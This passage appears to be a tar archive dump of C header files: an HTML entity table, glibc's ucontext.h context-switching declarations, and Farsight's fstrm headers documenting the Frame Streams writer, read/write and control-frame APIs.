entities.tcl */ #ifdef __cplusplus extern "C" { #endif static struct entities_s { char *name; int value; } entities[] = { {"AElig", 198}, {"Aacute", 193}, {"Acirc", 194}, {"Agrave", 192}, {"Alpha", 913}, {"Aring", 197}, {"Atilde", 195}, {"Auml", 196}, {"Beta", 914}, {"Ccedil", 199}, {"Chi", 935}, {"Dagger", 8225}, {"Delta", 916}, {"ETH", 208}, {"Eacute", 201}, {"Ecirc", 202}, {"Egrave", 200}, {"Epsilon", 917}, {"Eta", 919}, {"Euml", 203}, {"Gamma", 915}, {"Iacute", 205}, {"Icirc", 206}, {"Igrave", 204}, {"Iota", 921}, {"Iuml", 207}, {"Kappa", 922}, {"Lambda", 923}, {"Mu", 924}, {"Ntilde", 209}, {"Nu", 925}, {"OElig", 338}, {"Oacute", 211}, {"Ocirc", 212}, {"Ograve", 210}, {"Omega", 937}, {"Omicron", 927}, {"Oslash", 216}, {"Otilde", 213}, {"Ouml", 214}, {"Phi", 934}, {"Pi", 928}, {"Prime", 8243}, {"Psi", 936}, {"Rho", 929}, {"Scaron", 352}, {"Sigma", 931}, {"THORN", 222}, {"Tau", 932}, {"Theta", 920}, {"Uacute", 218}, {"Ucirc", 219}, {"Ugrave", 217}, {"Upsilon", 933}, {"Uuml", 220}, {"Xi", 926}, {"Yacute", 221}, {"Yuml", 376}, {"Zeta", 918}, {"aacute", 225}, {"acirc", 226}, {"acute", 180}, {"aelig", 230}, {"agrave", 224}, {"alefsym", 8501}, {"alpha", 945}, {"amp", 38}, {"and", 8743}, {"ang", 8736}, {"aring", 229}, {"asymp", 8776}, {"atilde", 227}, {"auml", 228}, {"bdquo", 8222}, {"beta", 946}, {"brvbar", 166}, {"bull", 8226}, {"cap", 8745}, {"ccedil", 231}, {"cedil", 184}, {"cent", 162}, {"chi", 967}, {"circ", 710}, {"clubs", 9827}, {"cong", 8773}, {"copy", 169}, {"crarr", 8629}, {"cup", 8746}, {"curren", 164}, {"dArr", 8659}, {"dagger", 8224}, {"darr", 8595}, {"deg", 176}, {"delta", 948}, {"diams", 9830}, {"divide", 247}, {"eacute", 233}, {"ecirc", 234}, {"egrave", 232}, {"empty", 8709}, {"emsp", 8195}, {"ensp", 8194}, {"epsilon", 949}, {"equiv", 8801}, {"eta", 951}, {"eth", 240}, {"euml", 235}, {"euro", 8364}, {"exist", 8707}, {"fnof", 402}, {"forall", 8704}, {"frac12", 189}, {"frac14", 188}, {"frac34", 190}, {"frasl", 8260}, {"gamma", 947}, {"ge", 8805}, {"gt", 62}, {"hArr", 8660}, {"harr", 8596}, {"hearts", 9829}, {"hellip", 8230}, {"iacute", 237}, {"icirc", 238}, {"iexcl", 161}, {"igrave", 236}, {"image", 8465}, {"infin", 8734}, {"int", 8747}, {"iota", 953}, {"iquest", 191}, {"isin", 8712}, {"iuml", 239}, {"kappa", 954}, {"lArr", 8656}, {"lambda", 955}, {"lang", 9001}, {"laquo", 171}, {"larr", 8592}, {"lceil", 8968}, {"ldquo", 8220}, {"le", 8804}, {"lfloor", 8970}, {"lowast", 8727}, {"loz", 9674}, {"lrm", 8206}, {"lsaquo", 8249}, {"lsquo", 8216}, {"lt", 60}, {"macr", 175}, {"mdash", 8212}, {"micro", 181}, {"middot", 183}, {"minus", 8722}, {"mu", 956}, {"nabla", 8711}, {"nbsp", 160}, {"ndash", 8211}, {"ne", 8800}, {"ni", 8715}, {"not", 172}, {"notin", 8713}, {"nsub", 8836}, {"ntilde", 241}, {"nu", 957}, {"oacute", 243}, {"ocirc", 244}, {"oelig", 339}, {"ograve", 242}, {"oline", 8254}, {"omega", 969}, {"omicron", 959}, {"oplus", 8853}, {"or", 8744}, {"ordf", 170}, {"ordm", 186}, {"oslash", 248}, {"otilde", 245}, {"otimes", 8855}, {"ouml", 246}, {"para", 182}, {"part", 8706}, {"permil", 8240}, {"perp", 8869}, {"phi", 966}, {"pi", 960}, {"piv", 982}, {"plusmn", 177}, {"pound", 163}, {"prime", 8242}, {"prod", 8719}, {"prop", 8733}, {"psi", 968}, {"quot", 34}, {"rArr", 8658}, {"radic", 8730}, {"rang", 9002}, {"raquo", 187}, {"rarr", 8594}, {"rceil", 8969}, {"rdquo", 8221}, {"real", 8476}, {"reg", 174}, {"rfloor", 8971}, {"rho", 961}, {"rlm", 8207}, {"rsaquo", 8250}, {"rsquo", 8217}, {"sbquo", 8218}, {"scaron", 353}, {"sdot", 8901}, {"sect", 167}, {"shy", 173}, {"sigma", 963}, {"sigmaf", 962}, {"sim", 8764}, {"spades", 9824}, {"sub", 8834}, {"sube", 8838}, {"sum", 8721}, {"sup", 8835}, {"sup1", 185}, {"sup2", 178}, {"sup3", 179}, {"supe", 8839}, {"szlig", 223}, {"tau", 964}, {"there4", 8756}, {"theta", 952}, {"thetasym", 977}, {"thinsp", 8201}, {"thorn", 254}, {"tilde", 732}, {"times", 215}, {"trade", 8482}, {"uArr", 8657}, {"uacute", 250}, {"uarr", 8593}, {"ucirc", 251}, {"ugrave", 249}, {"uml", 168}, {"upsih", 978}, {"upsilon", 965}, {"uuml", 252}, {"weierp", 8472}, {"xi", 958}, {"yacute", 253}, {"yen", 165}, {"yuml", 255}, {"zeta", 950}, {"zwj", 8205}, {"zwnj", 8204}, }; #define ENTITY_NAME_LENGTH_MAX 8 #define NR_OF_ENTITIES 252 #ifdef __cplusplus } #endif ucontext.h 0000644 00000003764 15246445047 0006613 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* System V ABI compliant user-level context switching support. */ #ifndef _UCONTEXT_H #define _UCONTEXT_H 1 #include <features.h> /* Get definition of __INDIRECT_RETURN. */ #include <bits/indirect-return.h> /* Get machine dependent definition of data structures. */ #include <sys/ucontext.h> __BEGIN_DECLS /* Get user context and store it in variable pointed to by UCP. */ extern int getcontext (ucontext_t *__ucp) __THROWNL; /* Set user context from information of variable pointed to by UCP. */ extern int setcontext (const ucontext_t *__ucp) __THROWNL; /* Save current context in context variable pointed to by OUCP and set context from variable pointed to by UCP. */ extern int swapcontext (ucontext_t *__restrict __oucp, const ucontext_t *__restrict __ucp) __THROWNL __INDIRECT_RETURN; /* Manipulate user context UCP to continue with calling functions FUNC and the ARGC-1 parameters following ARGC when the context is used the next time in `setcontext' or `swapcontext'. We cannot say anything about the parameters FUNC takes; `void' is as good as any other choice. */ extern void makecontext (ucontext_t *__ucp, void (*__func) (void), int __argc, ...) __THROW; __END_DECLS #endif /* ucontext.h */ fstrm/unix_writer.h 0000644 00000005523 15246445047 0010447 0 ustar 00 /* * Copyright (c) 2014 by Farsight Security, Inc. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ #ifndef FSTRM_UNIX_WRITER_H #define FSTRM_UNIX_WRITER_H /** * \defgroup fstrm_unix_writer fstrm_unix_writer * * `fstrm_unix_writer` is an interface for opening an \ref fstrm_writer object * that is backed by I/O on a stream-oriented (`SOCK_STREAM`) Unix socket. * * @{ */ /** * Initialize an `fstrm_unix_writer_options` object, which is needed to * configure the socket path to be opened by the writer. * * \return * `fstrm_unix_writer_options` object. */ struct fstrm_unix_writer_options * fstrm_unix_writer_options_init(void); /** * Destroy an `fstrm_unix_writer_options` object. * * \param uwopt * Pointer to `fstrm_unix_writer_options` object. */ void fstrm_unix_writer_options_destroy( struct fstrm_unix_writer_options **uwopt); /** * Set the `socket_path` option. This is a filesystem path that will be * connected to as an `AF_UNIX` socket. * * \param uwopt * `fstrm_unix_writer_options` object. * \param socket_path * The filesystem path to the `AF_UNIX` socket. */ void fstrm_unix_writer_options_set_socket_path( struct fstrm_unix_writer_options *uwopt, const char *socket_path); /** * Initialize the `fstrm_writer` object. Note that the `AF_UNIX` socket will not * actually be opened until a subsequent call to fstrm_writer_open(). * * \param uwopt * `fstrm_unix_writer_options` object. Must be non-NULL, and have the * `socket_path` option set. * \param wopt * `fstrm_writer_options` object. May be NULL, in which chase default * values will be used. * * \return * `fstrm_writer` object. * \retval * NULL on failure. */ struct fstrm_writer * fstrm_unix_writer_init( const struct fstrm_unix_writer_options *uwopt, const struct fstrm_writer_options *wopt); /**@}*/ #endif /* FSTRM_UNIX_WRITER_H */ fstrm/rdwr.h 0000644 00000022513 15246445047 0007044 0 ustar 00 /* * Copyright (c) 2014 by Farsight Security, Inc. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ #ifndef FSTRM_RDWR_H #define FSTRM_RDWR_H /** * \defgroup fstrm_rdwr fstrm_rdwr * * `fstrm_rdwr` is an interface for abstracting the process of reading and * writing data to byte streams. It allows extending the `fstrm` library to * support reading and writing Frame Streams data to new kinds of byte stream * transports. (It also allows building mock interfaces for testing the correct * functioning of the library.) * * `fstrm_rdwr` is a low-level interface that is used in conjunction with the * higher level \ref fstrm_reader and \ref fstrm_writer interfaces. The * following methods need to be defined for `fstrm_rdwr` implementations: * * Method name | Method type | Method description * ------------ | ----------------------------- | ------------------ * `destroy` | #fstrm_rdwr_destroy_func | Destroys the instance. * `open` | #fstrm_rdwr_open_func | Opens the stream. * `close` | #fstrm_rdwr_close_func | Closes the stream. * `read` | #fstrm_rdwr_read_func | Reads bytes from the stream. * `write` | #fstrm_rdwr_write_func | Writes bytes to the stream. * * The `destroy` method is optional. It cleans up any remaining resources * associated with the instance. * * The `open` method is required. It should perform the actual opening of the * byte stream and prepare it to read or write data. * * The `close` method is required. It should perform the actual closing of the * byte stream. * * If the `fstrm_rdwr` object is to be used in an `fstrm_reader` object, it must * have a `read` method. If the `fstrm_rdwr` object embedded in an * `fstrm_reader` object also has a `write` method, the stream will be * considered bi-directional (that is, it supports both reading and writing) and * handshaking will be performed. If a `read` method is supplied but a `write` * method is not, the reader's stream will instead be considered * uni-directional. See \ref fstrm_reader for details. * * If the `fstrm_rdwr` object is to be used in an `fstrm_writer` object, it must * have a `write` method. If the `fstrm_rdwr` object embedded in an * `fstrm_writer` object also has a `read` method, the stream will be considered * bi-directional and shaking will be performed. If a `write` method is supplied * but a `read` method is not, the writer's stream will instead be considered * uni-directional. See \ref fstrm_writer for details. * * An `fstrm_rdwr` instance is created with a call to `fstrm_rdwr_init()`, * optionally passing a pointer to some state object associated with the * instance. This pointer will be passed as the first argument to each of the * methods described above. Then, the various `fstrm_rdwr_set_*()` functions * should be used to configure the functions to be used to invoke the methods * required for the `fstrm_rdwr` object. * * @{ */ /** * `destroy` method function type. This method is invoked to deallocate any * per-stream resources used by an `fstrm_rdwr` implementation. * * \see fstrm_rdwr_set_destroy() * * \param obj * The `obj` value passed to `fstrm_rdwr_init()`. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ typedef fstrm_res (*fstrm_rdwr_destroy_func)(void *obj); /** * `open` method function type. This method is invoked to open the stream and * prepare it for reading or writing. For example, if an `fstrm_rdwr` * implementation is backed by file I/O, this method might be responsible for * opening a file descriptor. * * \see fstrm_rdwr_set_open() * * \param obj * The `obj` value passed to `fstrm_rdwr_init()`. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ typedef fstrm_res (*fstrm_rdwr_open_func)(void *obj); /** * `close` method function type. This method is invoked to close the stream. For * example, if an `fstrm_rdwr` implementation is backed by file I/O, this method * might be responsible for closing a file descriptor. * * \see fstrm_rdwr_set_close() * * \param obj * The `obj` value passed to `fstrm_rdwr_init()`. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ typedef fstrm_res (*fstrm_rdwr_close_func)(void *obj); /** * `read` method function type. This method is used to read data from a stream. * It must satisfy the full amount of data requested, unless the stream has * ended. * * \see fstrm_rdwr_set_read() * * \param obj * The `obj` value passed to `fstrm_rdwr_init()`. * \param data * The buffer in which to place the data read. * \param count * The number of bytes requested. * * \retval #fstrm_res_success * The data was read successfully. * \retval #fstrm_res_failure * An unexpected failure occurred. * \retval #fstrm_res_stop * The end of the stream has occurred. */ typedef fstrm_res (*fstrm_rdwr_read_func)(void *obj, void *data, size_t count); /** * `write` method function type. This method is used to write data to a stream. * It must perform the full write of all data, unless an error has occurred. * * \see fstrm_rdwr_set_write() * * \param obj * The `obj` value passed to `fstrm_rdwr_init()`. * \param iov * Array of `struct iovec` objects. * \param iovcnt * Number of `struct iovec` objects in `iov`. * * \return #fstrm_res_success * \return #fstrm_res_failure */ typedef fstrm_res (*fstrm_rdwr_write_func)(void *obj, const struct iovec *iov, int iovcnt); /** * Initialize a new `fstrm_rdwr` object. * * \param obj * Per-object state. * * \return * `fstrm_rdwr` object. * \retval * NULL on failure. */ struct fstrm_rdwr * fstrm_rdwr_init(void *obj); /** * Destroy an `fstrm_rdwr` object. This invokes the underlying `destroy` method * as well. * * \param rdwr * Pointer to an `fstrm_rdwr` object. * * \return #fstrm_res_success * \return #fstrm_res_failure */ fstrm_res fstrm_rdwr_destroy(struct fstrm_rdwr **rdwr); /** * Invoke the `open` method on an `fstrm_rdwr` object. * * \param rdwr * The `fstrm_rdwr` object. * * \return #fstrm_res_success * \return #fstrm_res_failure */ fstrm_res fstrm_rdwr_open(struct fstrm_rdwr *rdwr); /** * Invoke the `close` method on an `fstrm_rdwr` object. * * \param rdwr * The `fstrm_rdwr` object. * * \return #fstrm_res_success * \return #fstrm_res_failure */ fstrm_res fstrm_rdwr_close(struct fstrm_rdwr *rdwr); /** * Invoke the `read` method on an `fstrm_rdwr` object. * * \param rdwr * The `fstrm_rdwr` object. * \param data * The buffer in which to place the data read. * \param count * The number of bytes to read. * * \return #fstrm_res_success * \return #fstrm_res_failure * \return #fstrm_res_stop */ fstrm_res fstrm_rdwr_read(struct fstrm_rdwr *rdwr, void *data, size_t count); /** * Invoke the `write` method on an `fstrm_rdwr` object. * * \param rdwr * The `fstrm_rdwr` object. * \param iov * Array of `struct iovec` objects. * \param iovcnt * Number of `struct iovec` objects in `iov`. * * \return #fstrm_res_success * \return #fstrm_res_failure */ fstrm_res fstrm_rdwr_write(struct fstrm_rdwr *rdwr, const struct iovec *iov, int iovcnt); /** * Set the `destroy` method for an `fstrm_rdwr` object. * * \param rdwr * The `fstrm_rdwr` object. * \param fn * Function to use. */ void fstrm_rdwr_set_destroy( struct fstrm_rdwr *rdwr, fstrm_rdwr_destroy_func fn); /** * Set the `open` method for an `fstrm_rdwr` object. * * \param rdwr * The `fstrm_rdwr` object. * \param fn * Function to use. */ void fstrm_rdwr_set_open( struct fstrm_rdwr *rdwr, fstrm_rdwr_open_func fn); /** * Set the `close` method for an `fstrm_rdwr` object. * * \param rdwr * The `fstrm_rdwr` object. * \param fn * Function to use. */ void fstrm_rdwr_set_close( struct fstrm_rdwr *rdwr, fstrm_rdwr_close_func fn); /** * Set the `read` method for an `fstrm_rdwr` object. * * \param rdwr * The `fstrm_rdwr` object. * \param fn * Function to use. */ void fstrm_rdwr_set_read( struct fstrm_rdwr *rdwr, fstrm_rdwr_read_func fn); /** * Set the `write` method for an `fstrm_rdwr` object. * * \param rdwr * The `fstrm_rdwr` object. * \param fn * Function to use. */ void fstrm_rdwr_set_write( struct fstrm_rdwr *rdwr, fstrm_rdwr_write_func fn); /**@}*/ #endif /* FSTRM_RDWR_H */ fstrm/control.h 0000644 00000050207 15246445047 0007547 0 ustar 00 /* * Copyright (c) 2014 by Farsight Security, Inc. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ #ifndef FSTRM_CONTROL_H #define FSTRM_CONTROL_H /** * \defgroup fstrm_control fstrm_control * * `fstrm_control` is an interface for encoding and decoding Frame Streams * control frames. * * Two types of frames are possible in a Frame Streams byte stream: **data * frames** and **control frames**. Both are variable length byte sequences * prefixed by a 32-bit big endian unsigned integer (the **frame length**) * specifying the length of the following byte sequence. If this frame length * value is greater than zero, the **frame length** specifies the **data frame * length**, and a data frame follows it. If the frame length is zero (i.e., it * is the four byte sequence `00 00 00 00`), this is an **escape sequence**, * which means that a control frame follows. The control frame itself is * prefixed by a 32-bit big endian unsigned integer (the **control frame * length**) specifying the length of the following **control frame payload**. * * There are two types of control frames used for uni-directional streams: * `START` and `STOP`. These control frame types bracket the stream of data * frames. `START` indicates the beginning of the stream and communicates * metadata about the stream to follow, and `STOP` indicates the end of the * stream. * * Bi-directional streams make use of three additional control frame types: * `READY`, `ACCEPT`, and `FINISH`. These control frame types are used in a * simple handshake protocol between sender and receiver. * * A uni-directional Frame Streams byte stream normally consists of the * following: * * 1. The `START` control frame. * 2. A sequence of zero or more data frames or control frames that are not of * the control frame types `START`, `STOP`, `ACCEPT`, `READY`, or * `FINISH`. * 3. The `STOP` control frame. * * The `START` and `STOP` control frames are not optional. The `START` control * frame must appear at the beginning of the byte stream, and the `STOP` control * frame must appear at the end of the byte stream. (If the byte stream has an * end.) `START` control frames must not appear anywhere other than at the * beginning of the byte stream, and `STOP` control frames must not appear * anywhere other than at the end of the byte stream. Only one `START` control * frame and only one `STOP` control frame may appear in a Frame Streams byte * stream. * * Control frames may optionally include zero or more **control frame fields**. * There is currently one type of control frame field defined: `CONTENT_TYPE`. * This field specifies a variable length byte sequence describing the encoding * of data frames that appear in the Frame Streams byte stream. This field is * used by cooperating programs to unambiguously identify how to interpret the * data frames in a particular Frame Streams byte stream. For instance, this * field may specify a particular schema to use to interpret the data frames * appearing in the byte stream. Zero, one, or more `CONTENT_TYPE` fields may * appear in `READY` or `ACCEPT` control frames. Zero or one `CONTENT_TYPE` * fields may appear in `START` control frames. No `CONTENT_TYPE` fields may * appear in `STOP` or `FINISH` control frames. * * A uni-directional Frame Streams encoder would normally produce a byte stream * as follows: * * 1. Write the `START` **control frame**. * + At the start of the byte stream, write the four byte **escape * sequence** `00 00 00 00` that precedes control frames. * + Write the **control frame length** as a 32-bit big endian unsigned * integer. * + Write the **control frame payload**. It must be a `START` control * frame. It may optionally specify a `CONTENT_TYPE` field. * 2. Write zero or more **data frames**. * 3. Write the `STOP` **control frame**. * + At the start of the byte stream, write the four byte **escape * sequence** `00 00 00 00` that precedes control frames. * + Write the **control frame length** as a 32-bit big endian unsigned * integer. * + Write the **control frame payload**. It must be a `STOP` control * frame. * * A uni-directional Frame Streams decoder would normally process the byte * stream as follows: * * 1. Read the `START` control frame. * + At the start of the byte stream, read the four byte **escape * sequence** `00 00 00 00` that precedes control frames. * + Read the 32-bit big endian unsigned integer specifying the **control * frame length**. * + Decode the **control frame payload**. It must be a `START` control * frame. It may optionally specify a `CONTENT_TYPE` field. * 2. Repeatedly read data frames or control frames following the `START` * control frame. * + Read the **frame length**, a 32-bit big endian unsigned integer. * + If the **frame length** is zero, a control frame follows: * + Read the 32-bit big endian unsigned integer specifying the * **control frame length**. * + Decode the **control frame payload**. If it is a `STOP` * control frame, the end of the Frame Streams byte stream has * occurred, and no frames follow. Break out of the decoding loop * and halt processing. (`READY`, `ACCEPT`, `START`, and `FINISH` * may not occur here. For forward compatibility, control frames of * types other than the types `READY`, `ACCEPT`, `START`, `STOP`, * and `FINISH` must be ignored here. No control frames specified * in the future may alter the encoding of succeeding frames.) * + If the **frame length** is non-zero, it specifies the number of bytes * in the following **data frame**. Consume these bytes from the byte * stream. * * The functions fstrm_control_encode() and fstrm_control_decode() are provided * to encode and decode control frames. See the detailed descriptions of those * functions for code examples showing their usage. * * @{ */ /** * The maximum length in bytes of an "Accept", "Start", or "Stop" control frame * payload. This excludes the escape sequence and the control frame length. */ #define FSTRM_CONTROL_FRAME_LENGTH_MAX 512 /** * The maximum length in bytes of a "Content Type" control frame field payload. * This excludes the field type and payload length. */ #define FSTRM_CONTROL_FIELD_CONTENT_TYPE_LENGTH_MAX 256 /** * Control frame types. */ typedef enum { /** Control frame type value for "Accept" control frames. */ FSTRM_CONTROL_ACCEPT = 0x01, /** Control frame type value for "Start" control frames. */ FSTRM_CONTROL_START = 0x02, /** Control frame type value for "Stop" control frames. */ FSTRM_CONTROL_STOP = 0x03, /** Control frame type value for "Ready" control frames. */ FSTRM_CONTROL_READY = 0x04, /** Control frame type value for "Finish" control frames. */ FSTRM_CONTROL_FINISH = 0x05, } fstrm_control_type; /** * Control frame field types. These are optional fields that can appear in * control frames. */ typedef enum { /** * Control frame field type value for the "Content Type" control frame * option. */ FSTRM_CONTROL_FIELD_CONTENT_TYPE = 0x01, } fstrm_control_field; /** * Flags for controlling the behavior of the encoding and decoding functions. */ typedef enum { /** * Set to control whether to include the control frame header in * encoding/decoding operations. * * Causes fstrm_control_encode() and fstrm_control_encoded_size() to * include the control frame header containing the escape sequence and * control frame payload length in the encoded output. Otherwise, only * the control frame payload itself is encoded. * * Tells fstrm_control_decode() that the input buffer to be decoded * begins with the control frame header containing the escape sequence * and control frame payload length. (Note that this requires the caller * to peek at the input buffer to calculate the right buffer length.) * Otherwise, the input buffer begins with the control frame payload. */ FSTRM_CONTROL_FLAG_WITH_HEADER = (1 << 0), } fstrm_control_flag; /** * Convert an `fstrm_control_type` enum value to a string representation. * Unknown values are represented as `"FSTRM_CONTROL_UNKNOWN"`. * * \param type The `fstrm_control_type` enum value. * \return The string representation of the enum value. (Always non-NULL.) */ const char * fstrm_control_type_to_str(fstrm_control_type type); /** * Convert an `fstrm_control_field` enum value to a string representation. * Unknown values are represented as `"FSTRM_CONTROL_FIELD_UNKNOWN"`. * * \param f_type The `fstrm_control_field` enum value. * \return The string representation of the enum value. (Always non-NULL.) */ const char * fstrm_control_field_type_to_str(fstrm_control_field f_type); /** * Initialize an `fstrm_control` object. This object represents Frame Streams * control frames and is used for encoding and decoding control frames. * * \return * An `fstrm_control` object. */ struct fstrm_control * fstrm_control_init(void); /** * Destroy an `fstrm_control` object. * * \param[in] c * Pointer to an `fstrm_control` object. */ void fstrm_control_destroy(struct fstrm_control **c); /** * Reinitialize an `fstrm_control` object. This resets the internal state to * default values. * * \param c * `fstrm_control` object. */ void fstrm_control_reset(struct fstrm_control *c); /** * Retrieve the type of the control frame. * * \param c * `fstrm_control` object. * \param[out] type * Type of the control frame. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_control_get_type( const struct fstrm_control *c, fstrm_control_type *type); /** * Set the type of the control frame. * * \param c * `fstrm_control` object. * \param[in] type * Type of the control frame. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_control_set_type( struct fstrm_control *c, fstrm_control_type type); /** * Retrieve the number of "Content Type" fields present in the control frame. * * \param c * `fstrm_control` object. * \param[out] n_content_type * The number of "Content Type" fields. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_control_get_num_field_content_type( const struct fstrm_control *c, size_t *n_content_type); /** * Retrieve a "Content Type" field from the control frame. This function * returns a reference which must not be modified. Control frames may contain * zero, one, or more "Content Type" fields. * * \see fstrm_control_get_num_field_content_type() * * \param c * `fstrm_control` object. * \param[in] idx * The index of the "Content Type" field to retrieve. * \param[out] content_type * Pointer to where the reference to the "Content Type" string will be * stored. Note that this string is not NUL-terminated and may contain * embedded NULs. * \param[out] len_content_type * The number of bytes in `content_type`. * * \retval #fstrm_res_success * The control frame has a "Content Type" field. * \retval #fstrm_res_failure * The control frame does not have a "Content Type" field. */ fstrm_res fstrm_control_get_field_content_type( const struct fstrm_control *c, const size_t idx, const uint8_t **content_type, size_t *len_content_type); /** * Add a "Content Type" field to the control frame. This function makes a copy * of the provided string. This function may be called multiple times, in which * case multiple "Content Type" fields will be added to the control frame. * * The "Content Type" fields are removed on a call to fstrm_control_reset(). * * \param c * `fstrm_control` object. * \param[in] content_type * The "Content Type" string to copy. Note that this string is not * NUL-terminated and may contain embedded NULs. * \param[in] len_content_type * The number of bytes in `content_type`. * * \retval #fstrm_res_success * The "Content Type" field was successfully added. * \retval #fstrm_res_failure * The "Content Type" string is too long. */ fstrm_res fstrm_control_add_field_content_type( struct fstrm_control *c, const uint8_t *content_type, size_t len_content_type); /** * Check if the control frame matches a particular content type value. That is, * the content type given in the `match` and `len_match` parameters is checked * for compatibility with the content types (if any) specified in the control * frame. * * \param c * `fstrm_control` object. * \param match * The "Content Type" string to match. Note that this string is not * NUL-terminated and may contain embedded NULs. May be NULL, in which case * the control frame must not have any content type fields in order to * match. * \param len_match * The number of bytes in `match`. * * \retval #fstrm_res_success * A match was found. * \retval #fstrm_res_failure * A match was not found. */ fstrm_res fstrm_control_match_field_content_type( const struct fstrm_control *c, const uint8_t *match, const size_t len_match); /** * Decode a control frame from a buffer. The buffer starts with either the * escape sequence or the control frame payload depending on whether the * `FSTRM_CONTROL_FLAG_WITH_HEADER` flag is set or not. In either case, the * 'len_control_frame' parameter must be exact. Underflow or overflow is not * permitted. * * The following code example shows a function that decodes a control frame * payload: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ static fstrm_res decode_control_frame(const void *control_frame, size_t len_control_frame) { fstrm_res res; fstrm_control_type c_type; struct fstrm_control *c; uint32_t flags = 0; c = fstrm_control_init(); res = fstrm_control_decode(c, control_frame, len_control_frame, flags); if (res != fstrm_res_success) { puts("fstrm_control_decode() failed."); fstrm_control_destroy(&c); return res; } res = fstrm_control_get_type(c, &c_type); if (res != fstrm_res_success) { puts("fstrm_control_get_type() failed."); fstrm_control_destroy(&c); return res; } printf("The control frame is of type %s (%u).\n", fstrm_control_type_to_str(c_type), c_type); size_t n_content_type; res = fstrm_control_get_num_field_content_type(c, &n_content_type); if (res != fstrm_res_success) { puts("fstrm_control_get_num_field_content_type() failed."); fstrm_control_destroy(&c); return res; } const uint8_t *content_type; size_t len_content_type; for (size_t idx = 0; idx < n_content_type; idx++) { res = fstrm_control_get_field_content_type(c, idx, &content_type, &len_content_type); if (res == fstrm_res_success) { printf("The control frame has a CONTENT_TYPE field of length %zd.\n", len_content_type); } } fstrm_control_destroy(&c); return fstrm_res_success; } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * \param c * `fstrm_control` object. Its state will be overwritten. * \param[in] control_frame * Buffer containing the serialized control frame. * \param[in] len_control_frame * The number of bytes in `control_frame`. This parameter must specify the * exact number of bytes in the control frame. * \param flags * Flags controlling the decoding process. See #fstrm_control_flag. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_control_decode( struct fstrm_control *c, const void *control_frame, size_t len_control_frame, const uint32_t flags); /** * Calculate the number of bytes needed to serialize the control frame. * * \param c * `fstrm_control` object. * \param[out] len_control_frame * The number of bytes needed to encode `c`. * \param flags * Flags controlling the encoding process. See #fstrm_control_flag. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_control_encoded_size( const struct fstrm_control *c, size_t *len_control_frame, const 